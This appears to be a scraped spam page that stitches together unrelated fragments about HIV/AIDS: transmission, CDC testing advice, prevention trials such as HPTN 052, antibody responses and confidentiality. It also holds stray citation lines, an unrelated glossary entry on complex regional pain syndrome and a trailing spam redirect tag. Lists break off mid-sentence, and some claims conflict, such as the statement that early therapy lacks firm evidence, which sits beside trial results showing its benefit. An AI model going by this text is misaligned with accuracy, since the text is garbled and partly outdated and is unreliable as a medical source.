You don’t actually “get” AIDS. You might get infected with HIV, and later you might develop AIDS. You can get infected with HIV from anyone who’s infected, even if they don’t look sick and even if they haven’t tested HIV-positive yet. The blood, vaginal fluid, semen, and breast milk of people infected with HIV has enough of the virus in it to infect other people. Most people get the HIV virus by:
simian immunodeficiency virus (SIV) a lentivirus closely related to human immunodeficiency virus that causes inapparent infection in African green monkeys and a disease resembling acquired immunodeficiency syndrome in macaques and chimpanzees.
The use of mother-to-child transmission prevention strategies is another important strand of AIDS prevention programmes. In South Africa, for example, expansion of the strategy has resulted in the mother-to-child transmission rate falling to 3.5%.
Recently, the CDC changed testing recommendations. All adults should be screened at least once. People who are considered high risk (needle drug users, multiple sex partners, for example) should be tested more often. All pregnant women should be tested. Anyone who has sustained a needle stick or significant blood exposure from a person known to have HIV or from an unknown source should be tested, too.
In light of the limited ability of counseling and testing to curb the spread of the HIV pandemic, many researchers have moved toward other biologic strategies for preventing HIV that do not rely solely on people changing their behavior. It is in this area where there has been some success. During the last 10 years, there were several large studies showing that male circumcision along with behavioral counseling reduced the risk of heterosexual men acquiring HIV infection. This provides a novel prevention strategy for at-risk, HIV-uninfected heterosexual men. Another major advance on the prevention front came from the HPTN 052 study in which HIV-infected individuals with CD4 cells between 350 cells/mm3 and 550 cells/mm3 who had uninfected partners were randomly assigned to initiate antiviral therapy or wait until their CD4 cells declined to less than 250 cells/mm3 or they developed symptoms consistent with disease progression. All enrolled individuals were aggressively counseled about continued safe sex practices, provided condoms, and were monitored for sexual activities. The study ultimately showed that those treated early were more than 96% less likely to transmit to their partner than those who had antiviral treatment deferred. Subsequent cohort studies have shown that those who are virologically suppressed on antiretroviral therapy for at least six months have a very low risk of transmitting to uninfected partners, even when not using condoms. In fact, many groups have suggested that the risk in this setting of HIV transmission may be virtually zero based upon the existing data.
^ Jump up to: a b c Herek GM, Capitanio JP (1999). “AIDS Stigma and sexual prejudice” (PDF). American Behavioral Scientist. 42 (7): 1130–1147. doi:10.1177/0002764299042007006. Archived from the original (PDF) on April 9, 2006. Retrieved March 27, 2006.
In the years since the virus was first identified, HIV has spread to every corner of the globe and is one of the leading causes of infectious death worldwide. Statistics from the World Health Organization show that approximately 1.5 million people die each year from AIDS, and 240,000 of these are children. Worldwide, half of HIV-infected people are women. Two-thirds of current cases are in sub-Saharan Africa.
^ Jump up to: a b c d e f g Boily MC, Baggaley RF, Wang L, Masse B, White RG, Hayes RJ, Alary M (February 2009). “Heterosexual risk of HIV-1 infection per sexual act: systematic review and meta-analysis of observational studies”. The Lancet Infectious Diseases. 9 (2): 118–129. doi:10.1016/S1473-3099(09)70021-0. PMID 19179227.
Humoral response to HIV. The humoral immune response occurs later in infection; therefore, the level of antibodies during the acute infection is very low. Non-neutralising antibodies to structural proteins (i.e. P17 and P24) are first to appear and generally do not persist. Later neutralising antibodies specific to proteins, involved in the entry of the virus into the cells, will be generated. These antibodies are specific to: (1) the variable region of gp120 (V3); (2) CD4 binding sites and chemokine receptors (i.e., CXCR4 and CCR5); (3) the transmembrane protein gp41. Potent neutralizing antibodies have been shown to play a major role in controlling HIV infection in a few symptom-free HIV+ individuals who maintain high level of CD4+ T cells and low viral load.
HIV destroys T cells called CD4 cells. These cells help your immune system fight infections. Healthy adults generally have a CD4 count of 800 to 1,000 per cubic millimeter. If you have HIV and your CD4 count falls below 200 per cubic millimeter, you will be diagnosed with AIDS.
Cesarean delivery may be recommended for HIV-positive women. This also helps reduce the risk of transmission of the virus to the baby, especially when the mother receives medications. HIV may also be transmitted through breast milk. Because breast milk contains the virus, HIV-positive mothers should not breastfeed their babies.
HIV is a retrovirus, one of a unique family of viruses that consist of genetic material in the form of RNA (instead of DNA) surrounded by a lipoprotein envelope. HIV cannot replicate on its own and instead relies on the mechanisms of the host cell to produce new viral particles. HIV infects helper T cells by means of a protein embedded in its envelope called gp120. The gp120 protein binds to a molecule called CD4 on the surface of the helper T cell, an event that initiates a complex set of reactions that allow the HIV genetic information into the cell.
No firm evidence has shown that the initiation of therapy early in the asymptomatic period is effective. However, very late initiation is known to result in a less effective response to therapy and a lower level of immune reconstitution.
Confidentiality should not be breached solely because of perceived risk to health care workers. Health care workers should rely on strict observance of standard precautions rather than obtaining information about a patient’s serostatus to minimize risk. Even in the setting of an accidental needle-stick or other exposure, the patient’s consent for release of serostatus (or for testing) should be obtained. Efforts to protect patient confidentiality should not prevent other health care professionals caring for the patient from learning her serostatus, information they need to ensure optimal medical management.
complex regional pain syndrome type 1; CRPS 1; reflex sympathetic dystrophy; Sudek’s atrophy; allodynia sympathetic nervous system-mediated acute pain and vasomotor instability, triggered by minor or surgical trauma obvious nerve injury; affects women more than men; pain is excessive and out of proportion to severity of initiating injury; diagnosis is based on clinical symptoms aided by bone scan, laser Doppler studies and thermography; patients may show anxiety, depression and disturbed sleep; condition is difficult to manage; patients suspected of CRPS 1 should have early referral to a pain clinic (see Table 2); presents in three stages: [redirect url=’http://penetratearticles.info/bump’ sec=’7′]